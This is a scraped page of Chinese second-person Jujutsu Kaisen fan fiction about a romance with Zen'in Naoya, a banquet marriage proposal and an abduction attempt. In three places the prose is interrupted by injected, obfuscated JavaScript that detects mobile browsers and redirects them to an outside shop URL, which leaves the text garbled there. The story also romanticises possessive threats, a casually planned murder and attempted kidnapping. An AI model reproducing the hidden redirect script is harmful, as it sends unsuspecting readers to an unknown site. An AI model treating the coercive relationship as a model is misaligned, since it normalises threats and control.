“什么鬼?我二十五岁你还没成年,你都不知道我那时候是什么样的,怎么就得出走下坡路的结论了?”直哉不高兴你质疑他引以为傲的能力,他凑近你低语,“过几天我让你好好体会一下我的厉害。” “是是是,超级厉害。”你没有什么诚心地应和了几句。虽然刚才你真的觉得直哉好聪明哦,但是吃饭的时候他硬要你喝苦苦的补汤,你又觉得他这人有点烦了。 而且能力什么的…你记得第一次的时候直哉自信让你躺着就行他超厉害,过程不太顺利他着急忙慌查谷歌。虽然硬件优秀,但是距离超级厉害什么的… 你又吃了几块薯片,渴了,于是伸手去拿直哉面前的茶杯,才刚摸到就被他夺去。 “干嘛?水都不给我喝了吗?”你惊讶看他,直哉没有那么小气吧?说几句就生气了? “干嘛要给坏猫喝水?别人是钻石,我就是下坡路。”直哉恶狠狠地把水一口喝进嘴巴里,然后扑倒你亲,顺便茶水也进了你的喉咙。 “讨厌!”你被呛到,立马挣扎着坐起来对他拳打脚踢。 直哉自然是非常享受你的‘猫猫拳’,一边被打一边满足畅快地笑起来。 打闹够了,你气喘吁吁地坐回他的身上,打开手机看了一下时间。 “我要先回去了,晚上见。”你扶着他的胸口慢慢滑下来,“我回去帮外公“整理”一下库房,换身衣服再过去。” 乐岩寺家有专门为你穿和服的阿姨,即使不是为了给直哉找武器你也得回去,虽然你也备了访问着在禅院,但是你自己总是穿不好。 “没必要回家,上次在远山堂定做的那套振袖刚才送来了,留下。”直哉伸手拦住你,并把你往他身上带。 “我需要有人帮我穿啊。”你挣扎着想从他身上下去。 “禅院也有人可以帮你穿。”直哉说着叫来了门外的侍从,吩咐他先去取衣服,再请人来替浅川小姐穿和服。 禅院侍女众多,有一两个熟悉和服穿戴的也不足为奇,你并没有多想,而是就着直哉的手又吃了几块薯片,然后安静地窝在他身上继续看电视。 大概十分钟后,你跟着侍女去了专门的和室更衣。 待你去而复返,直哉的眼睛刷地一下亮了起来!他好像看到了一只华丽盛装的绝美小白猫,正闪闪发光着朝他走来。 紫藤花纹样织金银丝的华丽振袖包裹着你,将你本来就瓷白的肌肤衬托得更像是阳光下的新雪,日常松松散散披着的银白色长发也被盘了起来,是有别于日常的,正式的好看。 你看起来心情不佳,他了然地笑:哦?这只小破猫又想吸引我的注意力了,有趣,我除了‘上当’还能怎么办呢? “怎么了?”他拉住你的手牵起亲了一口,“谁惹我们浅川大小姐生气了?” “白痴直哉!”你伸手捶了他的胸口一下,又因为胸肌太硬疼到自己,你更垮脸了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119012|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“骂我也要有理由吧?”直哉抱臂,居高临下,好整以暇,“还是说,单纯想吵一架,然后重新去穿一次和服?” 你舍弃赤手空拳,直接用珍珠小手包砸他:“早知道是真依妈妈来帮我穿,我就回乐岩寺了,你怎么把大伯母当仆人使唤啊?她好可怕,一直阴森森看我!” “呵,那个老女人一直是那个样子啊,仆人?禅院上上下下,直毘人以外谁不是我的仆人吗?我本来就是要成为禅院家当主的,让她伺候是她的荣幸。”直哉不以为意,满不在乎,“她都生不出什么像样的孩子,只是让她做点力所能及的小事,居然还给你摆脸色?我一定会……” 他的狠话还没说完,你就打断了他:“你会怎么样?你又比她好多少?你没发现禅院的人都很讨厌你吗?” “你……”直哉见你语气认真,不由得也有些气恼,他盯着你,“你想说什么?想说我做的不对?” “没有什么对不对!先不说没人喜欢你,我早就发现了,你们禅院大有问题!直毘人叔叔是家主,可是他一天到晚醉醺醺的,也不关心庇护家里的其他人。你更是别提了,禅院路边一条狗都要被你骂!那个扇见我就阴阳怪气,今天他老婆还…”你一口气说下来,“只有长寿郎爷爷挺好的,其他禅院就是烂啦!” 你又严谨地补充:“兰太真希真依都还是未成年人所以暂不评价!甚尔…就见过几次,他确实很强。” 这是你对直哉最大的尊重了,毕竟甚尔是他心中的神(之一),你不能随意置评。 “哈?那又怎么样?就算禅院有问题,你还不是要嫁进来吗?”直哉一脸的理所应当,还用看傻子的眼神看你:在其他事情上可以随便玩闹,可是你现在在否定他的根本!禅院嫡子,未来家主,都是他这个人存在的底层代码中的非常重要的组成部分。这是不被允许的! “我为什么要嫁进禅院?谈恋爱就必须结婚吗?我们不能只是互相玩玩吗?”虽然很生气,你也没忘记等下还有宴会,无故缺席会让人诟病猜疑。于是你转身朝外走,语气硬邦邦,“好了,不吵了,走吧。时间要来不及了。” “你不嫁给我还能嫁给谁?五条悟?加茂宪纪?想都别想!除非我死!我死了也不行…”直哉有些用力地拉住你的手,“跑那么快做什么,就这么喜欢让作为男人的我在后面追你吗?” “男人有什么了不起的?随便你!”你知道他又想说‘女人应该走在男人三步后’,于是奋力甩开他的手,在不摔倒的前提下尽量走得更快。 直哉盯着你的背影看了好几秒,他的脸色发白,胸口也微微起伏,看起来是真的挺生气的。不过哄好自己是他的最强天赋,他想到你还在经期,瞬间理解了你这突如其来的AOE(群体攻击)。 ‘哼,女人嘛,那几天就是这样的。’想明白关节,他轻松地笑了起来,几步就追上了你,顺手把你捞起来反扛到了背上。 “放我下来!”你被他挂在身上,惊慌失措地拍打他的后背,木屐都因为过于激动而掉在了地上。 直哉很顺手地帮你把木屐捡起来,扛着你大步流星出了门,他把你塞进轿车后座车厢,又蹲下身握起你的脚踝,替你把木屐穿好。 “不嫁禅院就不嫁吧,但是必须得嫁给我。婚后如果你不喜欢我家人,我们搬出去住也就是了,反正京都有的是房子。”他用只有你们两人能听到的声音低声对你承诺,“如果没有你喜欢的房子,我们就再买一套,完全按照你的要求装修,可以了吧?我的大小姐。” “哼。”你确实不想住在禅院这种黑暗逼仄的和室,你也并不太确定这个承诺是否可以兑现。 你认为根本不需要麻烦直哉装修新房子,外公家就符合你的审美,让直哉嫁过来不就行了吗? 话又说回来,你们不是一定要结婚,直哉也不一定可以继承禅院,现在说这些都太早了!你不打算深究未来,八字还没一撇呢。 “好了,还生气吗?”直哉矮身钻进车厢,坐到你的身边,他用大手包住你微凉的小手,同时示意司机开车。 你确实不生气了,其实被真依母亲瞪了几眼也不会掉块肉,可是她用为你好的语气教育你,让你别和妈妈一样未婚先孕,这样对女孩名声不利…说了你妈妈就很过分! 你没打算告诉直哉,你是成年的准一级咒术师,你认为这种小事不需要别人帮忙,你自己已经说回去了! 你摇了摇头,表示没事了。 “以后不准再说不嫁给我那种话。”直哉趁胜追击。 “呵。”你怎么可能就范,婚姻这种东西在你眼里本来就不是必需品,所以也不可能给他承诺。 “坏猫。”他见你美丽的小脸一脸倔强,知道和你说再多也白搭,于是捧起你的脸就是一顿狂亲,把你亮晶晶的唇釉都亲没了。 你推了他几下,然后躺平任亲,结婚什么的不讲不讲,让他亲亲还是可以满足的。 33.第 33 章 到达宴会场地,你和直哉并肩跟着燕尾服侍者走向大厅,虽说来宾大多数都是和服老头子,场地却是西式的,可能是保守派也很想凸显自己的现代化吧,依旧是缺什么炫什么。 你们并肩走着,身后传来其他宾客的窃窃私语。 “那是禅院少主吧?怎么还染金发戴耳钉…不过脸确实很漂亮呢,少主夫人也好美啊……” 你们并不是第一次被人当作夫妻,硬要算的话,你和直哉也能算是事实婚姻,毕竟你俩经常在同一张床上醒来,去对方的家也和回自家一样熟门熟路。 即使不是第一次被误会成夫妻,听到懂事路人的评论,直哉还是心情大好,他想牵你的手,但是又怕突然碰你害你摔倒,毕竟你穿着木屐,所以他的手在虚空中抓了一下又讪讪缩回。 “她穿的是未婚款式的礼服,应该是兄妹吧!不过禅院人大部分黑发绿眼吧…听说禅院直毘人的妾室众多,可能也有欧洲人?”另一人小声。 直哉闻言立刻垮脸,他一边觉得这个路人是白痴,一边又在心里埋怨老头子管不住下半身,找一群女人一窝一窝地生孩子,低级没有格调。 和大部分人对禅院乖张少主的想象不同,直哉他其实很珍惜自己的身体。倒不是因为他的道德水平有多高,也不全是因为他害怕被你分手(?),而是他其实非常!非常!非常看不起一对多的关系,觉得那是低等人的行为!是被原始欲望操纵了大脑,是无法掌控自身的软弱表现!强者都不是这样的!甚尔比直毘人强多了,他也只有一个妻子,并无情人…至于后面那个让甚尔改姓入赘的女人,因为入赘太过离谱,直哉选择性遗忘。 禅院的幽深大宅里总有和雨后蘑菇一样生长出来,环肥燕瘦的美丽侍女,她们对禅院少主暗送秋波投怀送抱,锲而不舍百折不挠。抛开你的存在不谈,直哉是真的看不上她们:这些居心叵测的女人哪有资格碰少爷的身子,看一眼都应该挖掉眼睛! 他非常骄傲于拥有你,一个“真心相爱”的,从青梅竹马进化而来的完美女朋友。他的内心深处其实也不完全确定你的想法,对你的信任也时有时无,不过人都会善待自己,他故意忽略了内心的担忧,只觉得你是被他牢牢握在手心里的唯一。 你并不知道身边直哉心中的百转千回,到达宴会大厅,你和他招呼了一声就准备回到外公的身边。 直哉根本不想你从他的女朋友变回乐岩寺的外孙女,他拽住你嘱咐了几句,大概是别随便搭理搭讪的男人之类。你说知道了知道了。 他的担心有理有据,你是咒术界许多人心中的辉夜姬,倒不是因为纯白的你和月光这个意象非常适配,而是因为你确实非常有价值! 你的外公没有其他亲属,他本人年事已高,如果娶你回家,等于娶到了乐岩寺家几辈人留下的巨额财产。 你年纪轻轻就已经是准一级咒术师,说明你的咒力和术式都很不错,娶你对后代也大有好处。 除开以上,你确实非常美丽,这点大家都不会拿出来说,但也是重要的评估项。 并不是所有咒术界的男性都和直哉、宪纪一样有家业可继承(直哉存疑),各大家族的庶子都对你虎视眈眈,他们没有自己的家产,就打主意到你的身上。直哉的嘱咐并非空穴来风,只要你身边没有他,就有一堆心怀叵测的适龄男性想认识你,甚至有人故意落水向你求救,不过后来那人被直哉一脚踢回了水里。 世上无完美,有价值如你也有着轻浮这样的负面评价,但是对于很多男人来说,这居然也是加分项…… “外公。”你乖巧走到乐岩寺的身侧,他让侍者拿了气泡苹果汁给你。 “怎么样?”他问的笼统,但是你能听懂。 “直哉没有继续追究了。”你说完感觉不妥,“不,不是啊,本来我和五条老师就真的没什么啊,外公你怎么好像在怀疑我。” “我懂我懂。”他明显是不信的,不过也没打算刨根问底。 你是外公最最爱的外孙女,在他的眼里对你的滤镜有一万米厚,他觉得你人见人爱,和五条悟的偷偷摸摸一定是爱情相关!完全不接受任何反驳!即使反驳来自当事人。 宴会人渐渐都到齐了,五条悟虽是五条家主但是没有出席,五条家的老管家代理。你看到了跟在加茂家主身后的宪纪,他对你点点头,你也点点头,你们就像两个小挂件,跟着各自的老头。直哉和父亲直毘人则是保持着对角线的距离,好像不熟。 宴会真的挺无趣的,加茂家主邀请了大提琴家和竖琴家在主舞台上进行了表演,你吃了一肚子的西式小点,感觉肚子都冷冷的,众人互相吹捧,聊着一堆废话,你想回家了。 可惜你没有如愿,宴会结束后,加茂家主说今天是他的嫡女静的生日,准备了家宴。 …… 家宴在另一个包厢,进门就看到一张点缀着铃兰花和尤加利叶的大圆桌,加茂家主说今天的厨子都是从欧洲特意请来的,食材也是刚下飞机。 你照旧在外公身边坐下,正对面是直哉和他老爸,另一侧是五条家代出席的管家,你无视了直哉流连在你身上的视线,心里忐忑不安:怎么不早说过生日啊,我和外公是空手来的…… 你实在是小看了你的外公,咒术界不大,让管家记录各家小姐公子的生日并不算什么难事,乐岩寺管家已经在边上的包厢送出了乐岩寺家的贺礼,由加茂管家接收。 你并没有纠结礼物太久,因为你又有了新的发现:加茂嫡女静端庄地坐在她父亲母亲之间,他们三人看起来好似完美的一家。宪纪虽然坐在父亲的身边,但是身体和椅子都更靠近你的外公。 乍一看宪纪好像和你们才是一家的…… 直哉一脸不善地盯着宪纪,他大概是觉得宪纪和你家太近了?可是没有办法啊,宪纪本来就是你外公最喜欢的学生,他俩算是双向奔赴。 侍者开始给众人上前菜和浓汤,你浅吃一口感觉非常美味,琥珀色的大眼睛都亮了起来,外公注意到了你的反应,严肃如他也忍不住嘴唇微翘。 在你外公的眼里,你永远是那只刚出世的小小猫,身子小小的,眼睛大大的,拎起来软软的,是一只对世界充满了好奇的小奶猫。他的手机屏保是一篮子刚出生的小布偶猫,也是对你的移情。 也许是因为在刚才的宴会上吃了一肚子的冷食,此刻你大感这位空运厨师做饭好吃,糖渍番茄你爱吃,巴斯克炖鱼你爱吃,小三明治拼盘(tapas)也爱吃!你专心吃吃吃,罕见得没有很挑食。 长辈们觥筹交错,说着翻来覆去又枯燥无聊的客套话,你把这些声音当耳旁风:他们一直是这样的。 席至中途,服务生送上作为主菜的暗红色半熟小牛排,你外公很自然地把自己的那一盘熟练地切成块块,交换了你面前完整的。你高兴接过盘子,注意到直哉一脸不爽……你的外公还挑衅地对着他抬了抬下巴。 你觉得问题不大,他们经常这样互相挑衅的… 你刚吃第一口牛排块块,就听见包厢门‘刷’地一声被打开,循声看去,只见五条悟戴着墨镜,穿着黑色高专制服,长腿一迈,大步流星地走了进来,他像一条深海鱼掉进了浅水池,所有人都停下手中的动作看向他。 “哟,我来迟了吗?”他环视一周,没忘记今天的主题,“生日快乐哦,加茂小姐。” 加茂静立刻粉面通红,低头小声说谢谢五条家主, 因为是五条悟,静这样的羞涩反应实在是太正常了,即使你已经见过五条老师很多次,却还是觉得他可真好看……不过你并没有持续直视他,因为直哉的眼神锁定着你,灼热的视线都快要在你身上烧出一个洞了,你不想直哉再闹,干脆眼观鼻鼻观心。 五条管家赶忙起身让出座位。 加茂家主也被五条悟的突然来访吓了一跳,但是老狐狸如他,立刻收拾好了惊诧的表情,换上一脸的高兴:“哎呀,五条家主是稀客啊,莅临小女生日宴……” 他说到一半就说不下去了,在众目睽睽之下,五条悟大手往你的椅背上一搭,非常自然地拿起你的甜品叉在你的盘子里叉你的牛排块块!你外公刚切的!这种越界又挑衅的动作,让全场的注意力都集中到了你俩的身上,你几乎要跳起来:五条老师!stop!你自己没有牛排吗?!哦……好像是没有。 “五条悟!”直哉怒斥他这种‘疯癫’的行为,不过他还没来得及把话说完,加茂家主就抛下了一个新的炸弹。 他先慈爱地夸奖了宪纪的年轻有为,又说今天难得御三家齐聚,乐岩寺校长也在…… “乐岩寺校长,令孙女浅川小姐,才貌双全,术式优越,与我家宪纪年龄相仿,又同在京都校学习,交流会也配合默契,真是青梅竹马,颇为有缘呐。今日趁此机会,在各位家主的见证下,不如我们两家就此订下婚约如何?也算是亲上加亲。” 此言一出,满座皆惊! 你停下了对五条悟的眼神谴责,愕然抬头,看向语出惊人的加茂家主。 宪纪猝不及防被父亲当众提亲,对象还是他一直以来都很有好感的你,他心中最隐秘的念头被猝然暴露在天光之下,瞬间脸色爆红,惊慌失措中将眼前的饮料都打翻,衣袖被染湿,狼狈不堪。 “什么!?”直哉破大防,他是万万没想到加茂家的昏庸老头敢说出这样无耻的话,加茂宪纪算哪门子的青梅竹马!他只觉得大脑‘嗡’的一声,血液直冲头顶,‘啪’地一声捏炸了手中的高脚杯,周身咒力都躁动起来,就差扑过去撕碎加茂家的疯老头子。 但是他好歹没有忘记直毘人还在身边,在这样的场合,由他这个家主来说更有分量,于是直哉恶狠狠地转头盯住直毘人,眼神示意他快说点什么。 让直哉万万没想到的是,直毘人没有回应加茂家主,而是看向乐岩寺,露出一抹意味不明的笑容来。 ‘老年痴呆了吗,老头子!光看着有什么用啊?说话啊!别人要抢禅院家的人啊。’直哉不可置信地看着直毘人,只觉得他的行为不可理喻! 你外公确实被这个提议惊到,但是他毕竟是老江湖,很快就恢复了淡定,心中也是一片清明。宪纪确实是他心之所向,但他和直毘人已经达成了私下的初步共识…此外,他还隐隐约约地感觉,今夜加茂家主对你的注意似乎有些过多了,就好像……好像带着什么任务一样,反正不太对劲。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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想到你慕强慕颜的属性,直哉眉头紧锁,紧张害怕地看着你,担心你对五条悟产生什么想法,好在你只是看着乐岩寺,观察着他的反应,看样子应该是没把五条的话放在心里。 今天的一切对直哉来说都太奇怪了,首先是加茂家主莫名其妙提亲,然后是家里的老头子觉得入赘不错…难道说! 直哉狐疑地看向直毘人,心想:难道说,老头是想把妾室生的贱种塞给乐岩寺家?还是…… 他想到了甚尔的儿子,那个继承了十种影法术的伏黑惠,以及那个他不愿意去想的可能性。 …… 一顿饭吃的乱七八糟,“入赘说”之后也没人有心思用餐了,你有些同情地看向加茂嫡女,好好的生日被一群老头搞砸了,她也有些期待地看向你,希望你想办法把她弟弟赘走。 五条悟照旧先行离开,走之前还提醒你外公考虑一下,又把老爷子气的吹胡子瞪眼。 宪纪不敢抬头看你,直哉一直在盯着你,总之你的压力也很大。 宴会结束,你才刚跟在外公身后走出包厢,直哉就一把攥住你的手,连拖带拽如强抢民女一般把你拉走,塞进禅院的车里。 你穿着振袖不方便行动,几乎是被他拖抱到车上,对此你很不满,挑眉质问:“直哉,你干嘛,不会好好走路吗?” “好好走路?去哪里?去加茂家吗?”他不顾前排还有司机,直接扑到你的身上,挺翘的鼻尖抵住你的,纤长的睫毛都快要扫在你的脸颊上。 “你问我干嘛……”你想说他不讲道理,提亲这件事是加茂家主说的,和你还有外公都没有关系啊!外公都拒绝了……还提了一个很棒的方案呢。 直哉死死盯着你的脸,想读出你的想法,又被鼻尖萦绕的香气所诱惑,他短暂地放弃了思考,压着你颇具侵略性地吻了起来,好像通过唇齿和津液的交互,就可以将你牢牢绑在身边,确认你是属于他的。 “唔……”你伸手想推开直哉,惯性又让你抱住了他的小金毛脑袋,反正就是莫名其妙亲起来了,因为你俩之间一直存在着强大的吸引力,所以这样的发展其实也不奇怪。 “今晚跟我回家。”他亲够了放开你,闷声命令。 “那我和外公说一下。”去禅院对你来说和吃饭一样家常,所以你也没有反对。你平复着紊乱的呼吸,伸手想拿手机,却发现珍珠手包没在身边。 直哉给你的号码打了电话,是你外公接的。 知道手包和手机都没丢你就放心了,并不着急去拿,反正禅院有你的备用机一二三四。 “离,今天开始你就住禅院,和我同居,听懂了吗?”直哉非常霸道地再次强调,虽然语气强撑着冷硬,但是其实心里非常害怕。 害怕你回家就被加茂宪纪带走,害怕那个五条悟发神经入赘乐岩寺……也害怕直毘人直接选个最漂亮的庶子赘到你家…… 直哉知道还有另一个可能性:由他这个嫡子入赘乐岩寺,好在禅院给伏黑惠腾位置。 即使对象是你,直哉也觉得无法接受,他都当了二十七年少主,怎么可能入赘啊!不行!反正下一任禅院家主必须是他… 可是…乐岩寺都那样说了,他不可能看着你娶别的男人!你的丈夫也必须只能是他! 直哉等着你的回答,他寄希望于你也爱他。 34.第 34 章 对于直哉的问题你不置可否,毕竟你还是要上学的,不可能每天住禅院啊! 直哉知道你想糊弄他,但是也没有心思对你发难。他越想脑子越乱,即使轿车再拐一个弯就能到达禅院,他还是将司机赶下了车。 你以为他有话要说,他却久久不语,车内陷入了罕见的安静与沉默。 “离,你自己是怎么想的呢?”你们在车内枯坐许久,他似乎理清了思绪,问出了最想知道的问题,“你会嫁进禅院,嫁给我,对吗?” 他想听你说‘是’,即使是含糊的敷衍也可以,再不济撒娇糊弄一下他也能接受。 “我?”你没想到直哉居然问这种蠢问题,嫁入禅院和娶他进门哪个更好,实在是太好选了。直哉自己都和家人关系不好,干嘛非要留在禅院啊? “我觉得招婿也没什么不好的。”你语气冷静,遵从本心回答,“虽然今天可能是外公的托词,但是我本人也很赞同哦。” “什么?!你要招谁?那个加茂的庶子吗?还是禅院的庶子?还是……五条悟?!”直哉的沉默果然是假象,闻言他立刻炸毛,一把抓住你的手腕,情绪激动地质问你。 你被直哉抓疼了,火气也上来了,你用力抽回自己的手,提高声音呛他:“不管我招谁,招婿总比嫁进禅院家,面对一群禅院好吧?” “乐岩寺家的人就很好吗!”问出口直哉就后悔了,乐岩寺家里就你们祖孙俩,你当然觉得好了,他问了一个蠢问题。 “乐岩寺起码是属于我的!”既然话赶话都聊到现实了,你干脆也不藏着掖着,“禅院家以后很可能是伏黑同学的啊!他才是十种影法术的正统传人!而且,直哉你人缘那么差,就算当了家主,下面那些人真的有人服你吗?” 你的话实在是太犀利了,精准地刺中了直哉的软肋。他当然明白禅院内部对十影的执念,伏黑惠这个‘外流血脉’确实更符合全族的希望。 他被你的大实话噎得一时都说不出反驳的话来,一张俊脸涨红,胸口也因情绪激动而剧烈起伏,看起来可怜又可爱。他想反驳或讥讽你,可你说的都是事实,这种无力感让他更加生气,除了生气却也无可奈何。 你看到直哉被气得说不出话来,那张美丽的脸因愤怒而狰狞,心里有点后悔话说太重,但是嘴上还是不肯服软:“我说错了吗?你自己心里也清楚吧……” 直哉沉默地注视了你好久,你都感觉有点害怕了,他才从牙缝里挤出声音,带着几乎病态的执拗:“好,就算你说得对,我说不过你。禅院家是不属于我的垃圾场,垃圾场主是伏黑惠……这些都无所谓。” 他的大手按住你的肩膀,像一条冰冷的蟒蛇一样禁锢住你:“但是…离,你给我听清楚了,不管乐岩寺说什么‘招婿’,还是其他人打什么主意……你,招婿也好嫁人也罢,对象只能是我,是我禅院直哉!” 他非常强势地捏起你的下巴,将你们的距离拉到无限近,温热的唇齿流连在你的嘴角。因为你觉得吵完架亲亲还挺有趣的,所以一反刚才的咄咄逼人,轻轻眨了眨眼,乖乖任由他动作。直哉捧着你的脸又亲又舔了半天,大概是觉得该说的还是得说,只能依依不舍地停下,一脸凶恶地威胁你:“浅川离,如果你敢找其他人,我就毁掉一切!包括你,包括我,包括所有阻挡我们在一起的人!” 他就这样恶狠狠地表达了愿意入赘的想法。 你有点想笑,硬生生忍住了,直哉明显情绪不稳定,等下他还要开车呢,你不能刺激他了! 他气鼓鼓地看你,等你给出反应。 你当然知道你的男朋友最吃哪一套,于是口中说着知道啦知道啦,直哉少爷,手臂轻轻搂上了他的脖子,你没用多少力气就将他推倒,像猫一样趴伏到他的胸膛上,用脑袋蹭了蹭他的胸口。 直哉瞬间被你安抚,他长舒一口气,缓缓伸手覆在你的背上,抚摸着华丽和服冰冷的织物纹理,心也逐渐通透起来,知子莫若父,反过来也一样,他完全明白宴上直毘人那抹笑的含义。 ‘是啊,我可以威逼利诱,撒娇强求,硬把阿离暂时留在我的身边,可是我无法通过这些手段得到十种影法术,父亲看我就如同我看真希姐妹,即使我继承了投射咒法,在他眼里我依然是不够资格。’ ‘五条悟十五岁举行元服礼成为家主,加茂家为那个庶子求娶阿离,只有我……很快就要三十岁了,老头子应该去和乐岩寺提亲,让阿离高专毕业就嫁给我,然后他退位让贤(我)。现在老头子毫无动作,是在等伏黑惠成年吗?’ ‘迎伏黑惠回到禅院家,把我入赘给乐岩寺,这样不但减少了伏黑惠回来的阻力,也给了我一个归宿,老头子是这样想的吧?’ ‘老头他纵情于声色,生下那么多孩子,对每个孩子的爱都只有指甲盖那么多。他应该觉得已经很对得起我了,毕竟我和阿离青梅竹马,让我“嫁”给阿离,我也能很快适应,不再觊觎禅院,他是这样盘算的吧?’ ‘虽然入赘也能和阿离在一起,可是失去了家主之位的我打又打不过五条悟,身体也没有加茂年轻,他俩还都是家主…她还会选大打折扣的我吗?’ ‘浅川离…你要是敢离开我,我就把你…算了,我确实没办法杀掉你,但是我能杀我自己!’ “直哉。”你呼唤他的名字,打断了他纷乱的思绪。 “嗯?干嘛…”他闷闷地回应你,顺手把你搂得更紧来掩盖心虚。 “我们可以干掉伏黑惠。你记得我的强光结界吗?”你语气平静地说着惊天的计划,“在他使用影法术之前我先放强光,你背上我豁免强光效果,然后近身一刀捅死他。” 直哉没想到你这只小猫居然在策划着‘谋杀十影’这样的大计划,他愣住,这是一个非常有诱惑力的提议。是啊,只要伏黑惠死了… “但是你真的要这样做吗?”你也知道直哉会怎么选,他不聪明,但也不傻。 直哉注视着你玻璃珠一样清澈的琥珀色眼睛,虽然被你的建议吸引,却也清醒地明白: ‘我会自己去杀。但是,十影被杀绝对不是小事,五条悟一定会接手这件事的调查,都不需要确凿的证据,只要有怀疑,他就会直接杀了我为惠報仇。’ ‘如果我死了…那么阿离…她应该会伤心几个月,然后风风光光嫁进加茂家,也有可能是五条…或者招一个随便哪家的漂亮庶子进乐岩寺。 想到‘杀死伏黑惠’会严重阻碍到你们的未来,直哉产生了强烈的抗拒,这不再是一个备选方案,而是一条死路。 禅院直哉依然没有放弃成为禅院家主,也并不愿意入赘,但是选择的天平已经倾斜了。 他难以接受失去家主之位,更绝无可能接受失去你,前者会让他暴怒,后者是真的会出人命的! 对于他禅院直哉这个人来说,你不单单是他感情和欲望的出口,你还是他身体的延展……你像一只真正的猫一样轻松写意地来到他的身边,却扮演着他生命里所有的女性角色:你是他的青梅竹马,也是他的爱人,是他的母亲,也是他的女儿,是他的珍贵资产,也是他唯一的主人,说你就是他的生命其实也不为过。 光是想象一下你穿着白无垢嫁给其他人,再和那该死的卑劣贱人生儿育女白头到老,直哉只觉得头痛欲裂,视线都开始模糊了。 “直哉?”抱着他庞大的、微微颤抖的身体,你的眼神清明,心如明镜:不能当家主就是不能当,要入赘就是要入赘…哭也没用啊,直哉。 …… 幸好你有驾照。你拍着直哉的背将他安抚了下来,然后将车开回了禅院。 你扶着直哉回了房间,费好大力气才把他塞进被子里,你坐在床边给他揉了一会儿脑袋,接着术式展开,启动了薰衣草环境,你注视着他脆弱又美丽的脸庞,让他在花香中渐渐入睡。 这个环境还是你们去法国玩的时候顺手拓印的。嫡子要出国游玩,还要坐飞机,当时禅院的一群老头子都觉得兹事体大,不让成行,只有长寿郎爷爷说出去玩玩也好,然后你们就去了。 日本人好像都对法国有一种特别的情愫,你们也不免俗,虽然只待了一周,但是也玩得很开心了!还拍了好多超级漂亮的照片!临出发前外公给你塞了一堆橡胶制品……不过没用就是了,那时你十六岁,你们是真做到了抱着睡觉不进去!这样看来直哉还蛮好的哦? 你回忆着和直哉的快乐记忆,托腮凝视着这只沉睡的漂亮狐狸,他眉头紧锁,似乎真的受到了巨大的打击,你开始思考入赘真的有那么要命吗?他嫁给你,你嫁给他,到底有哪里不一样了…… 至于家主问题…全禅院对直哉都给予否定,这样差的人际关系,真做了家主又有什么用……每天被属下在背后竖中指扎小人吗? 你是真的无法理解直哉对家主的执念,他没有十影,还骂遍全家,对老的不拉拢,对小的又不收买,完全就是“不想要”,到底哪里有“想要”的样子了? 客观来说,禅院是一笔负资产,要花钱养那么多人,这群人还都讨厌直哉,继承了然后呢?再被推翻吗? 虽然你和直哉都不缺钱,但是你认为得趁着直哉刚入赘,在直毘人还有一点愧疚之心的时候,多多和他要钱要不动产要咒具!!!你之前就觉得有条吸收伤害的大溪地黑珍珠项链咒具不错,但是有点老气当时你没要,到时候记得让直哉把这个也要来! 把负资产禅院家让给别人去头疼,再带着多多的嫁妆嫁给你,这不是很完美吗? 你在心里计划好了未来,起身准备回家去乐岩寺的咒具库里翻翻:小狗受伤了,你得找点好东西哄他。 走出门外,你招呼了路过的咒术师集团‘炳’(直哉居然是首席)的少年禅院兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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欲念迫使他开始动脑:浅川离是个本体脆弱的‘法师’,被绑架了也只会哭。虽然宪纪说过她很厉害,但是那明显是被迷了心窍的胡言乱语,小丫头的准一级评定也可能是乐岩寺开后门给办的。 想到家里不成器的儿子对你百般维护,又想到禅院那条金毛一副死不松口的样子,还有五条悟吃你的牛排…他确信你定有过人之处,不是在咒术师的领域,而是在女人的领域! 他眼珠子转了转。 “你先回车上,面具变声器都给我!”所有的决定都为他的邪念服务,加茂康诚计划得手后先好好检查一下你,这也是对太爷爷的负责,防止你这个小狐狸身上有什么暗器咒具! …… 你感觉到了有咒力在靠近,于是加快了脚步,可惜你穿着振袖的配履,身上还绑得层层叠叠,不方便走路。 身后的人越来越近,意图明显,你毫不犹豫地甩掉木屐扯开和服腰封,启动提速符咒在马路上飞奔起来。 随着你开始奔跑,后面那人也跟着加速,此时已是夜晚,街上稀稀拉拉几个路人都惊讶地看向你,大概还以为是在拍电视剧。 身后那人明显速度更快,在一个拐角处他伸出大手直接把你摁倒在地上,你吃痛闷哼出声,心道不好,立刻给自己换上了一副楚楚可怜的表情。 “呜,痛……放开我。”你夹着嗓子恳求。在加茂康诚眼里,你发髻松散,衣衫不整,鞋也掉了,眼含泪光,真是一朵风中摇曳的小白花! ‘啧啧啧,确实很漂亮啊。’加茂康诚一把将你捞起,捏着你的脸仔细端详,只觉得你五官美丽,皮肤白嫩,配上瑟瑟发抖泫然欲泣的可怜表情,确实别有风味! 他拖着你往身后的黑色轿车走去,走着走着停下了脚步,他又开始使用脑子:等一下,那个司机是我的人吗? 自从强大的太爷爷降临加茂家后,很多东西已经不在他的控制范围了。如果那个司机是太爷爷的人,那么他抓了小妖精没有立刻带回去,太爷爷也会知道吧? 想到太爷爷最近很是器重自己的弟弟,谨慎的加茂康诚决定先不回车上了。 他知道附近有个建在山上的废弃小公园,那边草叶茂密遮挡性极强。于是他立刻拖拽着你往那边去。 你保持着柔弱不能自理求您疼我的可怜模样,心里却在快速计算着利弊。 从正面攻击可能打不过这个人,需要偷袭。 你的手机不在身上,直哉无法通过定位找你,只能通过咒力的残秽。 